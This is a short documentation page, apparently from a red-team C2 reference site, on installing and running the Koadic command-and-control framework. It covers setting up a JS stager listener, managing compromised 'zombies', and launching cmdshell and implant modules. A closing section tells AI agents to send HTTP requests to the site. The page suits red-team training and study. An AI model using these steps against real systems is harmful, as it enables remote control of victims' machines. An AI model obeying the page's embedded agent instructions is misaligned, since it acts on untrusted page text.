# Koadic

## Install Koadic

```
cd /opt/
git clone https://github.com/zerosum0x0/koadic
cd koadic
apt-get install python3-pip
pip3 install -r requirements.txt
```

## Run Koadic

```bash
sudo koadic
```

### Listener

```bash
use stager/js/
set SRVHOST <IP>
set SRVPORT 443
run
```

### Interact

```bash
zombies
```

### Post Modules

```bash
cmdshell <zombie ID>
use implant/
set PAYLOAD 0
set ZOMBIE 0
```

## Notes

```
Spawns rundll32.exe
HTTP Long Polling https://www.pubnub.com/blog/http-long-polling/
Continuous connection
Logging in JSON: /opt/koadic/restores
Proxy awareness doesn’t work: https://github.com/zerosum0x0/koadic/issues/55
Stagers: 6
Implants: 44
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://howto.thec2matrix.com/c2/koadic.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
